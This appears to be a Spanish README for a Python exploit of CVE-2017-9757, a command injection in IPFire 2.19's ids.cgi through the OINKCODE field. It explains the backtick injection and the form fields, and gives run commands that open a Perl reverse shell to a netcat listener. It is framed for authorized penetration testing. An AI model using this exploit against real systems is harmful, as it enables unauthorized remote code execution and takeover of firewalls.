
Este exploit se basa en CVE-2017-9757 y fue construido sobre el exploit original de 0x09AL.
Prueba de concepto en Python para la vulnerabilidad de inyección de comandos autenticada en la página ids.cgi de IPFire 2.19 a través del parámetro OINKCODE.
Solo para pruebas de seguridad autorizadas y laboratorios de formación. Ejecute este PoC únicamente contra sistemas que le pertenezcan o para los que tenga permiso explícito de prueba. El autor no es responsable del uso indebido o de los daños causados por este código.
IPFire 2.19 es vulnerable a la inyección de comandos del sistema operativo en el parámetro OINKCODE procesado por /cgi-bin/ids.cgi. El parámetro se incorpora a un comando shell sin una neutralización adecuada, lo que permite que un usuario autenticado ejecute comandos en el host IPFire.
La vulnerabilidad se identifica comúnmente como CVE-2017-9757 y se corresponde con CWE-78: Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo ('Inyección de comandos del sistema operativo').
El PoC público original se probó contra IPFire 2.19 Core Update 110. El módulo de Metasploit considera que las versiones hasta IPFire 2.19 con Core Update 110 están dentro de su rango de comprobación admitido.
El PoC original en Python de Exploit-DB realiza una solicitud de verificación usando:
OINKCODE = '`id`'
Luego declara que el objetivo es vulnerable solo si la respuesta HTTP contiene:
uid=99(nobody)
Esa validación no es fiable. El comando puede ejecutarse mientras su salida es consumida por el comando shell construido por la CGI, en lugar de reflejarse en la respuesta HTML devuelta al cliente. Como resultado, el servidor puede devolver una página HTTP 200 normal sin incluir la salida de id, lo que produce un falso negativo.
Esta implementación sigue la lógica de validación utilizada por el módulo de Metasploit:
/cgi-bin/pakfire.cgi con autenticación básica HTTP.<= 2.19 y Core Update <= 110 como aparentemente vulnerables./cgi-bin/ids.cgi en el campo OINKCODE.200 como una solicitud rechazada o un problema de autenticación.uid=99(nobody).El PoC también utiliza un payload de shell de comandos en Perl, que coincide con la familia de payloads de comando admitida por el módulo de Metasploit. Una respuesta HTTP correcta no prueba, por sí misma, que el reverse shell se haya conectado; también deben verificarse el listener y la ruta de red.
El criterio de éxito importante del módulo de Metasploit es que un código de respuesta inesperado indica credenciales no válidas o una solicitud rechazada. No requiere que el cuerpo de la respuesta contenga la salida del comando inyectado.
requestsperlInstale la dependencia de Python:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
La contraseña se solicita de forma interactiva cuando no se proporciona --password. Esto es recomendable porque poner una contraseña directamente en un comando puede exponerla a través del historial del shell o de la lista de procesos.
Use un listener en la dirección y el puerto proporcionados como --lhost y --lport:
rlwrap nc -lvnp 4444
Si rlwrap no está instalado, use:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Para el certificado HTTPS autofirmado habitual de IPFire, se requiere --insecure/-k. Úselo solo cuando la verificación de certificados no sea posible de forma intencionada en el laboratorio.
El objetivo también puede proporcionarse como una URL base completa:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Use esto solo cuando la versión de IPFire ya se haya confirmado de forma independiente:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
Si Perl no está en el PATH predeterminado del objetivo, proporcione su ruta absoluta:
--perl-path /usr/bin/perl
HTTP 200 desde ids.cgiEsto significa que la solicitud HTTP fue aceptada por la CGI según el mismo criterio práctico utilizado por el módulo de Metasploit. Una respuesta HTML normal es lo esperado y no es prueba de que la comprobación de vulnerabilidad haya fallado.
Compruebe el listener en busca del shell. Si no llega ningún shell, investigue la dirección de callback, el enrutamiento, las reglas de salida del firewall, la disponibilidad de Perl y el puerto seleccionado.
HTTP 401 o HTTP 403La solicitud no fue autorizada. Compruebe el nombre de usuario, la contraseña, la URL de destino, el puerto y si la cuenta puede acceder a la interfaz web de IPFire.
HTTP 404La URL de destino o la ruta CGI probablemente sean incorrectas, o el servicio no es la interfaz web de IPFire esperada.
El script no pudo encontrar la cadena de versión esperada en pakfire.cgi. Confirme manualmente el objetivo antes de usar --skip-version-check.
El comando inyectado puede mantener abierta la solicitud CGI mientras intenta la callback. Tómelo como una indicación para revisar el listener, no como prueba definitiva de un shell.
El script utiliza autenticación básica HTTP y envía los siguientes campos de formulario a ids.cgi:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
El comando está encerrado entre comillas invertidas porque la aplicación vulnerable pasa el valor de OINKCODE a un comando shell. El comportamiento exacto de la solicitud depende de la versión del objetivo y de su configuración local.
200 confirma que la solicitud fue aceptada, no que el reverse shell haya llegado al listener.ipfire_oinkcode_exec.rbEste proyecto es una implementación educativa en Python basada en la investigación pública y la prueba de concepto de 0x09AL, y en el módulo de Metasploit mantenido por la comunidad de Metasploit. No está afiliado ni respaldado por IPFire, Exploit-DB o Rapid7.
| Característica | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | Este PoC |
|---|
| Endpoint vulnerable | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| Comprobación de versión | Ninguna | GET /cgi-bin/pakfire.cgi | Misma comprobación estilo Metasploit |
| Autenticación | Autenticación básica | Cabecera de autenticación básica | Autenticación básica mediante requests.Session |
| Validación inicial | Ejecuta `id` y busca en el cuerpo de la respuesta | Comprueba la versión y luego envía el payload | Comprueba la versión y usa el código de resultado HTTP |
| Riesgo de falso negativo | Alto: depende de que uid=99(nobody) se refleje | Evita la validación del contenido del cuerpo | Evita la validación del contenido del cuerpo |
| Reverse shell | Bash /dev/tcp | Payload de comando Unix de Metasploit | Shell de comando Perl IO::Socket::INET |
| Gestión de TLS | Verificación de certificados deshabilitada en el PoC | SSL habilitado por defecto | La verificación solo se deshabilita con -k/--insecure |
| Configuración | Los valores se editan en el código fuente | Opciones de Metasploit | Argumentos de línea de comandos |
| Opción | Por defecto | Descripción |
|---|
-t, --target | Obligatorio | Host/IP de destino o URL base completa |
--scheme | https | Esquema utilizado cuando el objetivo es solo un host/IP |
--web-port | 444 | Puerto de la interfaz web de IPFire |
-u, --username | admin | Nombre de usuario de IPFire |
-p, --password | Solicitud | Contraseña; omítala para introducirla sin eco |
--lhost | Obligatorio | Dirección del listener accesible desde IPFire |
--lport | 4444 | Puerto del listener |
--perl-path | perl | Ejecutable de Perl en el objetivo |
--timeout | 10 | Tiempo de espera HTTP en segundos |
-k, --insecure | Deshabilitado | Deshabilitar la verificación del certificado TLS |
--skip-version-check | Deshabilitado | Omitir la comprobación de pakfire.cgi |
--check-only | Deshabilitado | Realizar solo la comprobación de versión |